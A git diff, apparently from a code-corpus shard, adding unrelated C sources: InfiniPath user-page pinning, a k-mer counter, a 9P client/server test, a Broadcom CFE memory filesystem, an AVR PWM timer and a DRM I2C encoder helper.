+	current->mm->locked_vm += num_pages;
+
+	ret = 0;
+	goto bail;
+
+bail_release:
+	__ipath_release_user_pages(p, got, 0);
+bail:
+	return ret;
+}
+
+/**
+ * ipath_map_page - a safety wrapper around pci_map_page()
+ *
+ * A dma_addr of all 0's is interpreted by the chip as "disabled".
+ * Unfortunately, it can also be a valid dma_addr returned on some
+ * architectures.
+ *
+ * The powerpc iommu assigns dma_addrs in ascending order, so we don't
+ * have to bother with retries or mapping a dummy page to insure we
+ * don't just get the same mapping again.
+ *
+ * I'm sure we won't be so lucky with other iommu's, so FIXME.
+ */
+dma_addr_t ipath_map_page(struct pci_dev *hwdev, struct page *page,
+	unsigned long offset, size_t size, int direction)
+{
+	dma_addr_t phys;
+
+	phys = pci_map_page(hwdev, page, offset, size, direction);
+
+	if (phys == 0) {
+		pci_unmap_page(hwdev, phys, size, direction);
+		phys = pci_map_page(hwdev, page, offset, size, direction);
+		/*
+		 * FIXME: If we get 0 again, we should keep this page,
+		 * map another, then free the 0 page.
+		 */
+	}
+
+	return phys;
+}
+
+/**
+ * ipath_map_single - a safety wrapper around pci_map_single()
+ *
+ * Same idea as ipath_map_page().
+ */
+dma_addr_t ipath_map_single(struct pci_dev *hwdev, void *ptr, size_t size,
+	int direction)
+{
+	dma_addr_t phys;
+
+	phys = pci_map_single(hwdev, ptr, size, direction);
+
+	if (phys == 0) {
+		pci_unmap_single(hwdev, phys, size, direction);
+		phys = pci_map_single(hwdev, ptr, size, direction);
+		/*
+		 * FIXME: If we get 0 again, we should keep this page,
+		 * map another, then free the 0 page.
+		 */
+	}
+
+	return phys;
+}
+
+/**
+ * ipath_get_user_pages - lock user pages into memory
+ * @start_page: the start page
+ * @num_pages: the number of pages
+ * @p: the output page structures
+ *
+ * This function takes a given start page (page aligned user virtual
+ * address) and pins it and the following specified number of pages.  For
+ * now, num_pages is always 1, but that will probably change at some point
+ * (because caller is doing expected sends on a single virtually contiguous
+ * buffer, so we can do all pages at once).
+ */
+int ipath_get_user_pages(unsigned long start_page, size_t num_pages,
+			 struct page **p)
+{
+	int ret;
+
+	down_write(&current->mm->mmap_sem);
+
+	ret = __get_user_pages(start_page, num_pages, p, NULL);
+
+	up_write(&current->mm->mmap_sem);
+
+	return ret;
+}
+
+/**
+ * ipath_get_user_pages_nocopy - lock a single page for I/O and mark shared
+ * @start_page: the page to lock
+ * @p: the output page structure
+ *
+ * This is similar to ipath_get_user_pages, but it's always one page, and we
+ * mark the page as locked for I/O, and shared.  This is used for the user
+ * process page that contains the destination address for the rcvhdrq tail
+ * update, so we need to have the vma. If we don't do this, the page can be
+ * taken away from us on fork, even if the child never touches it, and then
+ * the user process never sees the tail register updates.
+ */
+int ipath_get_user_pages_nocopy(unsigned long page, struct page **p)
+{
+	struct vm_area_struct *vma;
+	int ret;
+
+	down_write(&current->mm->mmap_sem);
+
+	ret = __get_user_pages(page, 1, p, &vma);
+
+	up_write(&current->mm->mmap_sem);
+
+	return ret;
+}
+
+void ipath_release_user_pages(struct page **p, size_t num_pages)
+{
+	down_write(&current->mm->mmap_sem);
+
+	__ipath_release_user_pages(p, num_pages, 1);
+
+	current->mm->locked_vm -= num_pages;
+
+	up_write(&current->mm->mmap_sem);
+}
+
+struct ipath_user_pages_work {
+	struct work_struct work;
+	struct mm_struct *mm;
+	unsigned long num_pages;
+};
+
+static void user_pages_account(void *ptr)
+{
+	struct ipath_user_pages_work *work = ptr;
+
+	down_write(&work->mm->mmap_sem);
+	work->mm->locked_vm -= work->num_pages;
+	up_write(&work->mm->mmap_sem);
+	mmput(work->mm);
+	kfree(work);
+}
+
+void ipath_release_user_pages_on_close(struct page **p, size_t num_pages)
+{
+	struct ipath_user_pages_work *work;
+	struct mm_struct *mm;
+
+	__ipath_release_user_pages(p, num_pages, 1);
+
+	mm = get_task_mm(current);
+	if (!mm)
+		goto bail;
+
+	work = kmalloc(sizeof(*work), GFP_KERNEL);
+	if (!work)
+		goto bail_mm;
+
+	goto bail;
+
+	INIT_WORK(&work->work, user_pages_account, work);
+	work->mm = mm;
+	work->num_pages = num_pages;
+
+bail_mm:
+	mmput(mm);
+bail:
+	return;
+}
diff --git a/pool/shard001/C/0025371_kmercounter.c b/pool/shard001/C/0025371_kmercounter.c
new file mode 100644
index 0000000000000000000000000000000000000000..516fe78e04fcd37deaf08d9af8cae3bae6fbcc81
--- /dev/null
+++ b/pool/shard001/C/0025371_kmercounter.c
@@ -0,0 +1,223 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <getopt.h>
+#include <string.h>
+#include <sys/time.h>
+#include <sys/wait.h>
+#include <sys/types.h>
+
+#include "FileListGenerator.h"
+#include "parsefile.h"
+
+
+void print_results(FILE *output, SUBSTRING_COUNTER_TYPE *total_count);
+
+int main(int argc, char **argv)
+{
+    // the following argument
+    int ch;
+
+    int directory_set = 0;
+    int output_file_set = 0;
+
+    // variables we need to set
+    char folder_location[1024];
+    char output_file[1024];
+
+    //* Default value if unspecified */
+    int num_process = 1;
+
+    /* Get arguments from optional parameters */
+    while ((ch = getopt(argc, argv, "d:n:o:")) != -1) {
+        switch (ch) {
+            case 'd':
+                strcpy(folder_location, optarg);
+                directory_set = 1;
+                break;
+            case 'n':
+                num_process = (int) strtol(optarg, NULL, 10);
+                if (num_process <= 0) {
+                    fprintf(stderr, "ERROR: invalid number specified for number of processes.\n");
+                    exit(1);
+                }
+                break;
+            case 'o':
+                strcpy(output_file, optarg);
+                output_file_set = 1;
+                break;
+            default:
+                fprintf(stderr, "Usage: %s -d <path to directory> [-n] <number of children> -o <name of output file>\n", argv[0]);
+                exit(1);
+        }
+    }
+
+    if (!directory_set) {
+        fprintf(stderr, "ERROR: -d <path to directory> must be specified.\n");
+        exit(1);
+    }
+
+    /*
+     * Generate file lists from directory and check if we can access it first
+     * Set num_process to be equal to number of files if num_process > num of files
+     */
+    FILE *output_fp;
+
+    if (output_file_set) {
+        output_fp = fopen(output_file, "w");
+        if (output_fp == NULL) {
+            perror("ERROR: creating output file");
+            exit(1);
+        }
+    } else {
+        output_fp = stdout;
+    }
+
+    int number_of_files = count_files(folder_location);
+
+    if (number_of_files <= 0) {
+        fprintf(stderr, "no files\n");
+        return 0;
+    }
+
+    /* If num of process specified is greater than number of files, set num of process to be num of files */
+    if (num_process > number_of_files) {
+        num_process = number_of_files;
+    }
+
+    /* Decide how to evenly distribute the files per children */
+    Files_nn **file_array = retrieve_filenames(folder_location, num_process, number_of_files);
+
+    if (file_array == NULL) {
+        fprintf(stderr, "Problem splitting off the files\n");
+        exit(1);
+    }
+
+
+    /* The array that will keep track of the substrings */
+    SUBSTRING_COUNTER_TYPE *total_count = calloc(1024, sizeof(SUBSTRING_COUNTER_TYPE));
+
+
+    /* Start timer */
+    struct timeval start_time, end_time;
+    double time_diff;
+
+    if (gettimeofday(&start_time, NULL) == -1) {
+        perror("gettimeofday\n");
+        exit(1);
+    }
+
+    /* Single Process */
+    if (num_process == 1) {
+        parse_files(file_array[0]->filenames, file_array[0]->number_of_files, &total_count);
+    } else { /* Multi Process */
+        int fd[num_process][2];
+        for (int i = 0; i < num_process; i++) {
+            if (pipe(fd[i]) == -1) {
+                perror("ERROR: Initializing pipe\n");
+                exit(1);
+            }
+            int n = fork();
+
+            if (n == 0) {
+                /* No need to read from the pipe */
+                if (close(fd[i][0]) == -1) {
+                    perror("ERROR: Closing pipe\n");
+                }
+                SUBSTRING_COUNTER_TYPE *child_count = calloc(1024, sizeof(SUBSTRING_COUNTER_TYPE));
+                parse_files(file_array[i]->filenames, file_array[i]->number_of_files, &child_count);
+                for (int l = 0; l < 1024; l++) {
+                    SUBSTRING_COUNTER_TYPE value = child_count[l];
+                    if (write(fd[i][1], &value, sizeof(SUBSTRING_COUNTER_TYPE)) != sizeof(SUBSTRING_COUNTER_TYPE)) {
+                        perror("ERROR: Writing to pipe\n");
+                    }
+                }
+                /* Finished writing to pipe */
+                if (close(fd[i][1]) == -1) {
+                    perror("ERROR: Closing pipe");
+                }
+
+                /* Everything freed from parent must be freed from child as well */
+                fclose(output_fp);
+                free(child_count);
+                free(total_count);
+                clear_filenames(file_array, num_process);
+                exit(0);
+            } else if (n > 0) {
+                if (close(fd[i][1]) == -1) {
+                    perror("ERROR: Closing pipe\n");
+                }
+            } else {
+                perror("ERROR: Fork\n");
+                exit(1);
+            }
+        }
+
+        /* Wait for sequential children to finish then check their exit and signal status.
+         * If a child terminated fine, retrieve the piped contents. */
+        for (int i = 0; i < num_process; i++) {
+            pid_t pid;
+            int status;
+
+            if ((pid = wait(&status)) == -1) {
+                perror("wait");
+            } else {
+                if (WIFEXITED(status)) {
+                    int e_status = WEXITSTATUS(status);
+                    if (e_status == 0) {
+                        for (int j = 0; j < 1024; j++) {
+                            SUBSTRING_COUNTER_TYPE value = 0;
+                            if (read(fd[i][0], &value, sizeof(SUBSTRING_COUNTER_TYPE)) != sizeof(SUBSTRING_COUNTER_TYPE)) {
+                                perror("Read\n");
+                            }
+                            total_count[j] += value;
+                        }
+                    } else {
+                        fprintf(stderr, "Child %d terminated with %d\n", pid, e_status);
+                    }
+                } else if (WIFSIGNALED(status)) {
+                    int e_signal = WTERMSIG(status);
+                    fprintf(stderr, "Child %d signalled with %d\n", pid, e_signal);
+                }
+            }
+
+        }
+    }
+    /* Parent only reaches this */
+
+    /* End timer */
+    if (gettimeofday(&end_time, NULL) == -1) {
+        perror("gettimeofday\n");
+        exit(1);
+    }
+    time_diff = (end_time.tv_sec - start_time.tv_sec) + (end_time.tv_usec - start_time.tv_usec) / 1000000.0;
+    fprintf(stderr, "%.4f\n", time_diff);
+
+    print_results(output_fp, total_count);
+    fclose(output_fp);
+    free(total_count);
+    clear_filenames(file_array, num_process);
+    return 0;
+}
+
+/*
+ * Iterate through every single permutation of substrings in alphabetical order.
+ * total_count is already in alphabetical order
+ */
+void print_results(FILE *output, SUBSTRING_COUNTER_TYPE *total_count) {
+    char bases[4] = {'a', 'c', 'g', 't'};
+    int pos = 0;
+    for (int z = 0; z < 4; z++) {
+        for (int x = 0; x < 4; x++) {
+            for (int c = 0; c < 4; c++) {
+                for (int v = 0; v < 4; v++) {
+                    for (int b = 0; b < 4; b++) {
+                        fprintf(output, "%c%c%c%c%c: %d\n",
+                                bases[z], bases[x], bases[c], bases[v], bases[b], total_count[pos]);
+                        pos++;
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/pool/shard001/C/0025373_tnpsrv.c b/pool/shard001/C/0025373_tnpsrv.c
new file mode 100644
index 0000000000000000000000000000000000000000..ff4df4a8bdd8c07a813f16c133da923c925f4432
--- /dev/null
+++ b/pool/shard001/C/0025373_tnpsrv.c
@@ -0,0 +1,96 @@
+/* tnpsrv.c - test simple client/server (valgrind me) */
+
+#if HAVE_CONFIG_H
+#include "config.h"
+#endif
+#include <stdint.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/socket.h>
+#include <string.h>
+#include <errno.h>
+#include <stdarg.h>
+#include <assert.h>
+
+#include "9p.h"
+#include "npfs.h"
+#include "npclient.h"
+
+#include "list.h"
+#include "diod_log.h"
+#include "diod_conf.h"
+#include "diod_sock.h"
+
+#define TEST_MSIZE 8192
+
+int
+main (int argc, char *argv[])
+{
+    Npsrv *srv;
+    int s[2];
+    int flags = SRV_FLAGS_DEBUG_9PTRACE | SRV_FLAGS_DEBUG_USER;
+    Npcfsys *fs;
+    Npcfid *root0, *root1, *root2;
+    char *str;
+
+    diod_log_init (argv[0]);
+    diod_conf_init ();
+
+    if (socketpair (AF_LOCAL, SOCK_STREAM, 0, s) < 0)
+        err_exit ("socketpair");
+
+    if (!(srv = np_srv_create (16, flags)))
+        errn_exit (np_rerror (), "out of memory");
+    srv->logmsg = diod_log_msg;
+    diod_sock_startfd (srv, s[1], s[1], "loopback", 0);
+
+    if (!(fs = npc_start (s[0], s[0], TEST_MSIZE, 0)))
+        errn_exit (np_rerror (), "npc_start");
+
+    if (!(root0 = npc_attach (fs, NULL, "ctl", 0)))
+        errn_exit (np_rerror (), "npc_attach");
+    if (!(str = npc_aget (root0, "connections")))
+        errn_exit (np_rerror (), "npc_aget connections");
+    free (str);
+
+    if (!(root1 = npc_attach (fs, NULL, "ctl", 1)))
+        errn_exit (np_rerror (), "npc_attach");
+    if (!(str = npc_aget (root1, "connections")))
+        errn_exit (np_rerror (), "npc_aget connections");
+    free (str);
+
+    /* Same user (1) - user cache should be valid, so we won't see a message
+     * for this user lookup in the output.
+     */
+    if (!(root2 = npc_attach (fs, NULL, "ctl", 1)))
+        errn_exit (np_rerror (), "npc_attach");
+    if (!(str = npc_aget (root2, "null")))
+        errn_exit (np_rerror (), "npc_aget null");
+    free (str);
+
+    npc_clunk (root0);
+    npc_clunk (root1);
+    npc_clunk (root2);
+
+    npc_finish (fs);
+
+    np_srv_wait_conncount (srv, 1);
+
+    /* N.B. The conn reader thread runs detached and signals us as it is
+     * about to exit.  If we manage to wake up and exit first, valgrind
+     * reports the reader's tls as leaked.  Add the sleep to work around
+     * this race for now.
+     */
+    sleep (1);
+
+    np_srv_destroy (srv);
+
+    diod_conf_fini ();
+    diod_log_fini ();
+    exit (0);
+}
+
+/*
+ * vi:tabstop=4 shiftwidth=4 expandtab
+ */
diff --git a/pool/shard001/C/0025377_cfe_memfs.c b/pool/shard001/C/0025377_cfe_memfs.c
new file mode 100644
index 0000000000000000000000000000000000000000..80cde95690b8bcfca59a268807a4529f5a8c4772
--- /dev/null
+++ b/pool/shard001/C/0025377_cfe_memfs.c
@@ -0,0 +1,212 @@
+/*  *********************************************************************
+ *  Broadcom Common Firmware Environment (CFE)
+ *
+ *  "Memory" file system			File: cfe_memfs.c
+ *
+ *  This filesystem driver lets you data from memory by treating
+ *  it as a filesystem. Note that, there is no concept of filename..
+ *  directly memory location to read from. Also, no writing is permitted for now
+ *
+ *  Author:  Abhay Bhorkar (abhorkar@broadcom.com)
+ *
+ * $Id: cfe_memfs.c 241205 2011-02-17 21:57:41Z $
+ *
+ * ********************************************************************
+ *
+ *  Copyright 2005
+ *  Broadcom Corporation. All rights reserved.
+ *
+ *  This software is furnished under license and may be used and
+ *  copied only in accordance with the following terms and
+ *  conditions.  Subject to these conditions, you may download,
+ *  copy, install, use, modify and distribute modified or unmodified
+ *  copies of this software in source and/or binary form.  No title
+ *  or ownership is transferred hereby.
+ *
+ *  1) Any source code used, modified or distributed must reproduce
+ *     and retain this copyright notice and list of conditions
+ *     as they appear in the source file.
+ *
+ *  2) No right is granted to use any trade name, trademark, or
+ *     logo of Broadcom Corporation.  The "Broadcom Corporation"
+ *     name may not be used to endorse or promote products derived
+ *     from this software without the prior written permission of
+ *     Broadcom Corporation.
+ *
+ *  3) THIS SOFTWARE IS PROVIDED "AS-IS" AND ANY EXPRESS OR
+ *     IMPLIED WARRANTIES, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED
+ *     WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+ *     PURPOSE, OR NON-INFRINGEMENT ARE DISCLAIMED. IN NO EVENT
+ *     SHALL BROADCOM BE LIABLE FOR ANY DAMAGES WHATSOEVER, AND IN
+ *     PARTICULAR, BROADCOM SHALL NOT BE LIABLE FOR DIRECT, INDIRECT,
+ *     INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ *     (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+ *     GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ *     BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ *     OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ *     TORT (INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF
+ *     THE POSSIBILITY OF SUCH DAMAGE.
+ * ********************************************************************
+ */
+
+#include "lib_types.h"
+#include "lib_string.h"
+#include "lib_queue.h"
+#include "lib_malloc.h"
+
+#include "cfe_error.h"
+#include "cfe_fileops.h"
+#include "cfe_iocb.h"
+#include "cfe_devfuncs.h"
+#include "cfe_loader.h"
+
+/*  *********************************************************************
+ *  Memory context
+ *  ********************************************************************
+ */
+
+/*
+ * File system context - describes overall file system info,
+ * such as the handle to the underlying device.
+ */
+
+typedef struct memory_fsctx_s {
+	int memory_tmp;			/* context not really needed */
+} memory_fsctx_t;
+
+/*
+ * File context - describes an open file on the file system.
+ */
+typedef struct memory_file_s {
+	memory_fsctx_t *memory_fsctx;
+	uint8_t *memory_bptr;
+	int memory_blen;
+	int memory_offset;
+	long memory_start;
+} memory_file_t;
+
+/*  *********************************************************************
+ *  Prototypes
+ *  ********************************************************************
+ */
+
+static int memory_fileop_init(void **fsctx, void *devicename);
+static int memory_fileop_open(void **ref, void *fsctx, char *filename, int mode);
+static int memory_fileop_read(void *ref, uint8_t *buf, int len);
+static int memory_fileop_write(void *ref, uint8_t *buf, int len);
+static int memory_fileop_seek(void *ref, int offset, int how);
+static void memory_fileop_close(void *ref);
+static void memory_fileop_uninit(void *fsctx);
+
+/*  *********************************************************************
+ *  RAW fileio dispatch table
+ *  ********************************************************************
+ */
+
+const fileio_dispatch_t memory_fileops = {
+	"memory",
+	LOADFLG_SPECADDR,
+	memory_fileop_init,
+	memory_fileop_open,
+	memory_fileop_read,
+	memory_fileop_write,
+	memory_fileop_seek,
+	memory_fileop_close,
+	memory_fileop_uninit
+};
+
+static int memory_fileop_init(void **newfsctx, void *dev)
+{
+	memory_fsctx_t *fsctx;
+
+	*newfsctx = NULL;
+
+	fsctx = KMALLOC(sizeof(memory_fsctx_t), 0);
+	if (!fsctx) {
+		return CFE_ERR_NOMEM;
+	}
+
+	fsctx->memory_tmp = 0;
+	*newfsctx = fsctx;
+
+	return 0;
+}
+
+/* filename describes the location in memory in string */
+static int memory_fileop_open(void **ref, void *fsctx_arg, char *filename, int mode)
+{
+	memory_fsctx_t *fsctx;
+	memory_file_t *file;
+
+	if (mode != FILE_MODE_READ)
+	    return CFE_ERR_UNSUPPORTED;
+
+	fsctx = (memory_fsctx_t *) fsctx_arg;
+
+	file = KMALLOC(sizeof(memory_file_t), 0);
+	if (!file) {
+		return CFE_ERR_NOMEM;
+	}
+
+	if (filename[0] == ':')
+		filename++; /* Skip over colon */
+
+	file->memory_start = xtoi(filename);
+
+	file->memory_offset = 0;
+
+	*ref = file;
+	return 0;
+}
+
+static int memory_fileop_read(void *ref, uint8_t *buf, int len)
+{
+	memory_file_t *file = (memory_file_t *) ref;
+
+	memcpy(buf, (void *)(file->memory_start + file->memory_offset), len);
+
+	file->memory_offset += len;
+
+	return len;		/* Any error becomes "EOF" */
+}
+
+static int memory_fileop_write(void *ref, uint8_t *buf, int len)
+{
+	return CFE_ERR_UNSUPPORTED;
+}
+
+static int memory_fileop_seek(void *ref, int offset, int how)
+{
+	memory_file_t *file = (memory_file_t *) ref;
+	int newoffset;
+
+	switch (how) {
+	case FILE_SEEK_BEGINNING:
+		newoffset = offset;
+		break;
+	case FILE_SEEK_CURRENT:
+		newoffset = file->memory_offset + offset;
+		break;
+	default:
+		newoffset = offset;
+		break;
+	};
+
+	file->memory_offset = newoffset;
+
+	return file->memory_offset;
+}
+
+static void memory_fileop_close(void *ref)
+{
+	memory_file_t *file = (memory_file_t *) ref;
+
+	KFREE(file);
+}
+
+static void memory_fileop_uninit(void *fsctx_arg)
+{
+	memory_fsctx_t *fsctx = (memory_fsctx_t *) fsctx_arg;
+
+	KFREE(fsctx);
+}
diff --git a/pool/shard001/C/0025378_timer.c b/pool/shard001/C/0025378_timer.c
new file mode 100644
index 0000000000000000000000000000000000000000..ef34c363832dddbd87aff3e1242c51aed752560d
--- /dev/null
+++ b/pool/shard001/C/0025378_timer.c
@@ -0,0 +1,140 @@
+#include "timer.h"
+
+
+/************************************************************************************************	
+
+	Dieses c-File stellt die PWM-Funktionalität für den Attiny13 zur Verfügung
+	
+    Genutzt wird der 8Bit Timer0
+	
+	Der PWM-Ausgabe-Pin ist bei KanalA -> PB0 (OC0A - Pin 5)
+							
+
+
+	Mit Übergabe des Parameters "compare" wird der Duty-Cycle eingestellt.
+	
+
+	Um den Duty-Cycle aus dem laufenden Betrieb zu modifizieren muss,
+	das folgende Register mit einem Wert zwischen 0 & 255 beschrieben werden.
+
+	Kanal A -> OCR0A
+
+		
+	Ziel:	-> PWM zur Ansteuerung von Servos erzeugen, d.h. - Periode ca 20ms 
+															 - High pulse zwischen 1ms und 2ms
+															 - 1ms = 0% ; 2ms = 100%
+    
+    Als Pwm Modus wird Fast Pwm genutzt. Hierbei zählt der Timer wiederholt
+    von 0 bis 255.
+    
+    - Beim Erreichen der 255 wird der AusgangsPin auf High Level gesetzt.
+    - Beim Erreichen des Wertes von OCR0A wird der Pin auf Low gesetzt.
+    
+    
+	Berechnung:
+    
+    Periode -> Ziel 20ms 
+
+	Prozessortakt: 8MHz/Prescaler1024 = 7,813kHz -> T=127,9us
+
+	Periode: Register ICR1 legt den TOP Value des Timers fest.
+			 256 * 127,9us = 32,74ms  -> 30,5Hz
+             
+	
+	156 Zählschritte mit 127,9us pro Schritt -> 1 PWM-Periode = 19,95ms
+
+	Duty Cycle:
+
+	1ms Pulse -> Compare Value = (1ms/127,9us) = 7,82 = 8
+	2ms Pulse -> Compare Value = (2ms/127,9us) = 15,64 = 16
+
+*********************************************************************************************** */
+
+
+void pwmInit(void)
+{
+	DDRB |= (1<<DDB1);		
+    
+    //Startwert laden -> Servo in Stellung max links
+    OCR0B=22;	//Vergleichswert laden 
+    
+    
+    //Prescaler = 1024
+    TCCR0B |= ((1<<CS00) | (1<<CS02));  
+    
+    
+	/*Fast PWM Modus
+        -> Clear OC0B on Compare Match
+        -> Set OC0B at TOP (255)
+	*/
+    TCCR0A |= ((1<<WGM00) | (1<<WGM01));	
+	//TCCR0A &= ~(1<<COM0A0);	
+									
+    //TCCR0B &= ~((1<<WGM02) | (1<<CS01));
+    
+    
+    //Timer overflow interrupt enablen
+    TIMSK |= (1<<TOIE0);
+
+	
+}
+
+/* For servo use the compare value has to be inside 
+   the boundary of 7 and 17 (Duty: 1ms and 2ms) */
+void pwmSetDutyCycle(uint8_t compare)
+{   
+    OCR0B = compare;	
+}
+
+
+
+/* The following two functions aim to make the software more
+   energy-efficient by disabling the pwm output when not needed */
+void disablePwm(void)
+{
+    TCCR0A &= ~(1<<COM0B1);
+}
+
+void enablePwm(void)
+{
+    TCCR0A |= (1<<COM0B1);
+}
+
+
+/* Accesses the global variables 
+    - leftSleepingTimeMs (contains the remaining sleeping time in ms 
+    - sleepingActive (information if sleeping mode should be active
+
+   The sleep mode is switched ON inside this function.
+   With the IDLE sleeping mode the timer 0 continues to run.
+   
+   During each timer 0 overflow interrupt (always after 27ms)
+   the controller wakes up and the global variable leftSleepingTime 
+   is decreased inside the ISR.
+   
+   As long the leftSleepingTime is > 0 this functions continues to
+   enter the sleeping mode.   
+
+*/
+void sleepDeeplyMs()
+{   
+    set_sleep_mode(SLEEP_MODE_IDLE);  
+    
+    /* disable interrupts */
+    cli();
+    
+    sleepingActive = TRUE;
+    
+    while(leftSleepingTimeMs > 33)
+    {   
+        /* the variable leftSleepingTimeMs is now decremented each 33ms in the 
+           timer0 overflow interrupt -> see interrupt.c for details */
+        sleep_enable();
+        /* enable interrupts */
+        sei();
+        sleep_cpu();
+        sleep_disable();        
+    }
+    sleepingActive = FALSE;   
+    sei();
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0025380_drm_encoder_slave.c b/pool/shard001/C/0025380_drm_encoder_slave.c
new file mode 100644
index 0000000000000000000000000000000000000000..0cfb60f5476655edc097ca71c648d11544f3357e
--- /dev/null
+++ b/pool/shard001/C/0025380_drm_encoder_slave.c
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2009 Francisco Jerez.
+ * All Rights Reserved.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
+ * the following conditions:
+ *
+ * The above copyright notice and this permission notice (including the
+ * next paragraph) shall be included in all copies or substantial
+ * portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ * IN NO EVENT SHALL THE COPYRIGHT OWNER(S) AND/OR ITS SUPPLIERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ */
+
+#include <linux/module.h>
+
+#include <drm/drm_encoder_slave.h>
+
+/**
+ * drm_i2c_encoder_init - Initialize an I2C slave encoder
+ * @dev:	DRM device.
+ * @encoder:    Encoder to be attached to the I2C device. You aren't
+ *		required to have called drm_encoder_init() before.
+ * @adap:	I2C adapter that will be used to communicate with
+ *		the device.
+ * @info:	Information that will be used to create the I2C device.
+ *		Required fields are @addr and @type.
+ *
+ * Create an I2C device on the specified bus (the module containing its
+ * driver is transparently loaded) and attach it to the specified
+ * &drm_encoder_slave. The @slave_funcs field will be initialized with
+ * the hooks provided by the slave driver.
+ *
+ * If @info->platform_data is non-NULL it will be used as the initial
+ * slave config.
+ *
+ * Returns 0 on success or a negative errno on failure, in particular,
+ * -ENODEV is returned when no matching driver is found.
+ */
+int drm_i2c_encoder_init(struct drm_device *dev,
+			 struct drm_encoder_slave *encoder,
+			 struct i2c_adapter *adap,
+			 const struct i2c_board_info *info)
+{
+	struct module *module = NULL;
+	struct i2c_client *client;
+	struct drm_i2c_encoder_driver *encoder_drv;
+	int err = 0;
+
+	request_module("%s%s", I2C_MODULE_PREFIX, info->type);
+
+	client = i2c_new_device(adap, info);
+	if (!client) {
+		err = -ENOMEM;
+		goto fail;
+	}
+
+	if (!client->driver) {
+		err = -ENODEV;
+		goto fail_unregister;
+	}
+
+	module = client->driver->driver.owner;
+	if (!try_module_get(module)) {
+		err = -ENODEV;
+		goto fail_unregister;
+	}
+
+	encoder->bus_priv = client;
+
+	encoder_drv = to_drm_i2c_encoder_driver(client->driver);
+
+	err = encoder_drv->encoder_init(client, dev, encoder);
+	if (err)
+		goto fail_unregister;
+
+	if (info->platform_data)
+		encoder->slave_funcs->set_config(&encoder->base,
+						 info->platform_data);
+
+	return 0;
+
+fail_unregister:
+	i2c_unregister_device(client);
+	module_put(module);
+fail:
+	return err;
+}
+EXPORT_SYMBOL(drm_i2c_encoder_init);
+
+/**
+ * drm_i2c_encoder_destroy - Unregister the I2C device backing an encoder
+ * @drm_encoder:	Encoder to be unregistered.
+ *
+ * This should be called from the @destroy method of an I2C slave
+ * encoder driver once I2C access is no longer needed.
+ */
+void drm_i2c_encoder_destroy(struct drm_encoder *drm_encoder)
+{
+	struct drm_encoder_slave *encoder = to_encoder_slave(drm_encoder);
+	struct i2c_client *client = drm_i2c_encoder_get_client(drm_encoder);
+	struct module *module = client->driver->driver.owner;
+
+	i2c_unregister_device(client);
+	encoder->bus_priv = NULL;
+
+	module_put(module);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_destroy);
+
+/*
+ * Wrapper fxns which can be plugged in to drm_encoder_helper_funcs:
+ */
+
+static inline struct drm_encoder_slave_funcs *
+get_slave_funcs(struct drm_encoder *enc)
+{
+	return to_encoder_slave(enc)->slave_funcs;
+}
+
+void drm_i2c_encoder_dpms(struct drm_encoder *encoder, int mode)
+{
+	get_slave_funcs(encoder)->dpms(encoder, mode);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_dpms);
+
+bool drm_i2c_encoder_mode_fixup(struct drm_encoder *encoder,
+		const struct drm_display_mode *mode,
+		struct drm_display_mode *adjusted_mode)
+{
+	return get_slave_funcs(encoder)->mode_fixup(encoder, mode, adjusted_mode);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_mode_fixup);
+
+void drm_i2c_encoder_prepare(struct drm_encoder *encoder)
+{
+	drm_i2c_encoder_dpms(encoder, DRM_MODE_DPMS_OFF);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_prepare);
+
+void drm_i2c_encoder_commit(struct drm_encoder *encoder)
+{
+	drm_i2c_encoder_dpms(encoder, DRM_MODE_DPMS_ON);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_commit);
+
+void drm_i2c_encoder_mode_set(struct drm_encoder *encoder,
+		struct drm_display_mode *mode,
+		struct drm_display_mode *adjusted_mode)
+{
+	get_slave_funcs(encoder)->mode_set(encoder, mode, adjusted_mode);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_mode_set);
+
+enum drm_connector_status drm_i2c_encoder_detect(struct drm_encoder *encoder,
+	    struct drm_connector *connector)
+{
+	return get_slave_funcs(encoder)->detect(encoder, connector);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_detect);
+
+void drm_i2c_encoder_save(struct drm_encoder *encoder)
+{
+	get_slave_funcs(encoder)->save(encoder);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_save);
+
+void drm_i2c_encoder_restore(struct drm_encoder *encoder)
+{
+	get_slave_funcs(encoder)->restore(encoder);
+}
+EXPORT_SYMBOL(drm_i2c_encoder_restore);
diff --git a/pool/shard001/C/0025386_sound_control.c b/pool/shard001/C/0025386_sound_control.c
new file mode 100644
